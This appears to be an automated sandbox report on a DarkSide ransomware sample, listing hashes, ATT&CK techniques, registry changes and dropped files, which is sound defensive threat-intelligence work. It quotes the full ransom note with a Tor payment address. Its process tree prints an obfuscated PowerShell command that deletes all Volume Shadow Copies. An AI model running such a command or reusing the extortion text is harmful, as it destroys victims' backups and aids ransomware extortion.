darkside | 0f808fd3ecf9d722aafeee46b57aad4d07f39c98be6f6148be979ed470cf0a99

Resubmissions

27-01-2024 19:37

240127-yb5pksafd3 10

27-01-2024 19:36

240127-ybqwesafc2 10

12-05-2021 15:56

210512-db4t7vmwas 10

Analysis

max time kernel
142s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
27-01-2024 19:36

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General

Target

6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Size

59KB
MD5

5ff75d33080bb97a8e6b54875c221777
SHA1

810d6c70a96584486867cedde111a1087ed1ebe7
SHA256

6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff
SHA512

a6b87ddcaa797a4d8abc06a786a7186fe43eef5e3291402f81b95a180b7fb746f88cd0f408a089deb5321ecf0d2ac3cca479fdc1f782771749df0ac5a082ac00
SSDEEP

768:9jjV7Iax7F3DS4/S9QCuUSbVtdNcxGV1ylMRY23W5:vx7Fu4/irrUDTV1ylMqZ5

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\README.526fe5a1.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/45NAQ3FNBX002JPHBAIKB97JVVABJQHTM2HO7XOZRXTEH98CRPXYX09X7VUH0F0W When you open our website, put the following data in the input form: Key: aB8lE86K6bt2yphn16ULYEWUkQgiDkVDBHvQuveSHbkkccXcFdx82fYYL2wEuCLtUlSIpghfBnR1iHFog7qrxDKEfU1MQE8uiUe0CjmMqYp429q5QWYrTRUEJV1UevaixL9cMAeVhTiFRe0PHhthK2V8MfjrySgetDXg40JSiHOZHOstlUnOpJpS6CGn9r9P96kf7j5EFu5dIymVAOfFOxkPx8iG9JDaEHm3hEkCGnII4XNwLbykXoVctE8r6OzBrnKNcLvkQTDMwFQh29kecXcnNniHRXVYNDy2SY49GY58TBuNA6MtaqHht98G9qRjFNAYKdEDX5G6IimaqgNF3QCsOiDko91l70T6rcrVpWNrSdGw4p9tnOyIXUfrUVZFeYManOWT8aqu0qTi2C69L8w1RzezAczWJiwIrt3zfkTLqHKotNih0ebqTia8uUcsHbn6u0z2v3LFDyasrZdNvlKq1rmZmljdEDt0jakl9ygQwOEnd8T7gyygbMUwiF7Nhj8UlGP9o1h2L94qObqhQZGKJFH8DuPbQnf9OczD9cyX0uJTJT5iuiu !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/45NAQ3FNBX002JPHBAIKB97JVVABJQHTM2HO7XOZRXTEH98CRPXYX09X7VUH0F0W

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (140) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\526fe5a1.BMP"	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\526fe5a1.BMP"	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\Desktop\WallpaperStyle = "10"	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe

Modifies registry class 5 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.526fe5a1\ = "526fe5a1"	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\526fe5a1\DefaultIcon	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\526fe5a1	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\526fe5a1\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\526fe5a1.ico"	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.526fe5a1	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4620	powershell.exe
4620	powershell.exe
3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeSecurityPrivilege	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeTakeOwnershipPrivilege	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeLoadDriverPrivilege	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeSystemProfilePrivilege	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeSystemtimePrivilege	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeProfSingleProcessPrivilege	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeIncBasePriorityPrivilege	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeCreatePagefilePrivilege	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeBackupPrivilege	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeRestorePrivilege	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeShutdownPrivilege	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeDebugPrivilege	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeSystemEnvironmentPrivilege	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeRemoteShutdownPrivilege	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeUndockPrivilege	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeManageVolumePrivilege	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: 33	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: 34	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: 35	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: 36	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeDebugPrivilege	4620	powershell.exe
Token: SeBackupPrivilege	4692	vssvc.exe
Token: SeRestorePrivilege	4692	vssvc.exe
Token: SeAuditPrivilege	4692	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3320 wrote to memory of 4620	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe	88
PID 3320 wrote to memory of 4620	3320	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe	88

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
"C:\Users\Admin\AppData\Local\Temp\6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe"
1⤵
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4620

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
adcf7694324db40696dec9e7145c7d9a

SHA1
6a5a093f6fec740444de5c219fd6af57f087d436

SHA256
b7678468701b0c13267926de54a86f833541a6d0420e466d62d1fa948bbfe054

SHA512
b5ad97789767fe51c37b603b3ec7015008a69699115330404193ceebb3158d5ae674062699b9cb62fa5635a7e78330d952e4438176bd9612d50c424845fb6896

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d336b18e0e02e045650ac4f24c7ecaa7

SHA1
87ce962bb3aa89fc06d5eb54f1a225ae76225b1c

SHA256
87e250ac493525f87051f19207d735b28aa827d025f2865ffc40ba775db9fc27

SHA512
e538e4ecf771db02745061f804a0db31f59359f32195b4f8c276054779509eaea63665adf6fedbb1953fa14eb471181eb085880341c7368330d8c3a26605bb18

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s5rpjogw.mhb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\README.526fe5a1.TXT

Filesize
1KB

MD5
29adbb559c7cf5a71f3217726f04577f

SHA1
4efb812b9e9f341b4272d4beb6c716e79be5fd91

SHA256
725a61a2c9301d08ef5510f12410d1ab34b3fa474194b1c45be06d4443248dcd

SHA512
1d807ddbf3b93954911b4b9489280ac138d2aa9717339d051d5f117cbc35e59b1ef6aa2daab7bbec6867a95168668d659709fc50e92c5cb8a6db20912c8120d4

Download Submit
memory/4620-3-0x000001797FF90000-0x000001797FFB2000-memory.dmp

Filesize
136KB

Download
memory/4620-13-0x00007FFA4E1D0000-0x00007FFA4EC91000-memory.dmp

Filesize
10.8MB

Download
memory/4620-14-0x0000017919D10000-0x0000017919D20000-memory.dmp

Filesize
64KB

Download
memory/4620-15-0x0000017919D10000-0x0000017919D20000-memory.dmp

Filesize
64KB

Download
memory/4620-16-0x0000017919D10000-0x0000017919D20000-memory.dmp

Filesize
64KB

Download
memory/4620-19-0x00007FFA4E1D0000-0x00007FFA4EC91000-memory.dmp

Filesize
10.8MB

Download